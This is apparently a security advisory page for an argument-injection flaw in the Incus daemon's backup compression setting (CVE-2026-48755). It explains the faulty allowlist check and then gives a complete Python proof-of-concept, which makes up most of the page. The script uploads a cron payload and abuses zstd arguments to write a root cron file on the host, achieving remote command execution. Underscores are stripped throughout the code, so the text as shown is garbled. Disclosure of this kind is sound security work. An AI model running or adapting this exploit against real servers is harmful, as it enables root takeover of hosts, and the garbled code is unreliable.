PT-2026-53014 · Go · Github.Com/Lxc/Incus/V7/Cmd/Incusd
Publicado
2026-06-26
·
Atualizado
2026-06-26
·
CVE-2026-48755
CVSS v3.1
9.9
Crítica
| Vetor | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Summary
Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.
Details
Incus validates
compression algorithm by parsing it into fields and checking only the first token against an allowlist:go
fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
, err = exec.LookPath(fields[0])Extra arguments are not rejected.
compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:go
args := []string{"-c"}
if len(fields) > 1 {
args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfileWith a value like:
text
zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payloadthe daemon executes the equivalent of:
text
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payloadPoC
python3 poc.py
--insecure --url https://remote-incus:8443
--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key
--instance c01
--execute --yes-i-understand-this-writes-host-fileThe following was generated by an LLM model.
#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.
Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor:
zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>
The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server.
"""
from future import annotations
import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any
import requests
def q(value: str) -> str:
return urllib.parse.quote(value, safe="")
def api(base: str, endpoint: str, **params: str) -> str:
return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")
def project instance(project: str, instance: str) -> str:
return instance if project == "default" else f"{project} {instance}"
def clean guest path(path: str) -> str:
if not path.startswith("/"):
raise ValueError("--guest-path must be absolute")
if ".." in PurePosixPath(path).parts:
raise ValueError("--guest-path must not contain '..'")
return os.path.normpath("/" + path.lstrip("/")).lstrip("/")
def source path(args: argparse.Namespace) -> str:
if args.source host path:
return args.source host path
return os.path.join(
args.incus dir,
"storage-pools",
args.pool,
args.storage kind,
project instance(args.project, args.instance),
"rootfs",
clean guest path(args.guest path),
)
def cron(command: str) -> bytes:
return f"* * * * * root /bin/sh -c {shlex.quote(command)}
".encode()
def session(args: argparse.Namespace) -> requests.Session:
s = requests.Session()
s.verify = False if args.insecure else (args.cacert or True)
if args.cert or args.key:
s.cert = (args.cert, args.key)
if args.token:
s.headers["Authorization"] = "Bearer " + args.token
s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
if args.insecure:
requests.packages.urllib3.disable warnings() # type: ignore[attr-defined]
return s
def check(resp: requests.Response, what: str) -> requests.Response:
if resp.status code >= 400:
try:
detail: Any = resp.json()
except Exception:
detail = resp.text[:2048]
raise RuntimeError(f"{what} failed: HTTP {resp.status code}: {detail}")
return resp
def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest path)
headers = {
"Content-Type": "application/octet-stream",
"X-Incus-type": "file",
"X-Incus-write": "overwrite",
"X-Incus-uid": "0",
"X-Incus-gid": "0",
"X-Incus-mode": "0644",
}
print(f"[*] uploading cron payload to {args.instance}:{args.guest path}")
check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")
def trigger backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
print("[*] sending direct backup request")
resp = s.post(
url,
data=json.dumps(body).encode(),
headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
timeout=args.timeout,
stream=True,
)
print(f"[*] backup HTTP {resp.status code}")
resp.close()
if resp.status code >= 400:
print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")
def parse args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
p.add argument("--url", required=True, help="https://host:8443")
p.add argument("--cert", help="client certificate PEM")
p.add argument("--key", help="client private key PEM")
p.add argument("--cacert", help="CA certificate PEM")
p.add argument("--token", help="bearer token")
p.add argument("--insecure", action="store true", help="disable TLS verification")
p.add argument("--timeout", type=int, default=180)
p.add argument("--project", default="default")
p.add argument("--instance", required=True)
p.add argument("--pool", default="default")
p.add argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
p.add argument("--incus-dir", default="/var/lib/incus")
p.add argument("--guest-path", default="/incus-zstd-cron")
p.add argument("--source-host-path", help="override daemon-readable host path for the staged payload")
p.add argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
p.add argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")
p.add argument("--execute", action="store true", help="stage payload and send backup request")
p.add argument("--yes-i-understand-this-writes-host-file", action="store true", help="required with --execute")
args = p.parse args()
if urllib.parse.urlparse(args.url).scheme != "https":
p.error("--url must use https")
if bool(args.cert) != bool(args.key):
p.error("--cert and --key must be supplied together")
if args.execute and not args.yes i understand this writes host file:
p.error("--execute requires --yes-i-understand-this-writes-host-file")
try:
clean guest path(args.guest path)
except ValueError as exc:
p.error(str(exc))
args.url = args.url.rstrip("/")
return args
def main() -> int:
args = parse args()
src = source path(args)
payload = cron(args.command)
compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron path)} -- {shlex.quote(src)}"
body = {"compression algorithm": compressor, "instance only": True}
print("[*] target:", args.url)
print("[*] project:", args.project)
print("[*] instance:", args.instance)
print("[*] source host path:", src)
print("[*] cron path:", args.cron path)
print("[*] payload:", payload.decode().rstrip())
print("[*] backup body:", json.dumps(body, sort keys=True))
if not args.execute:
print("[*] dry run only; add --execute and the confirmation flag to act")
return 0
s = session(args)
upload(s, args, payload)
trigger backup(s, args, body)
return 0
if name == " main ":
try:
raise SystemExit(main())
except BrokenPipeError:
raise SystemExit(1)
except Exception as exc:
print(f"[-] {exc}", file=sys.stderr)
raise SystemExit(1)Impact
Improperly validated compression algorithm argument leads to argument injection leading to arbitrary file write with
zstd and possibly arbitrary command execution.Correção
RCE
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Github.Com/Lxc/Incus/V7/Cmd/Incusd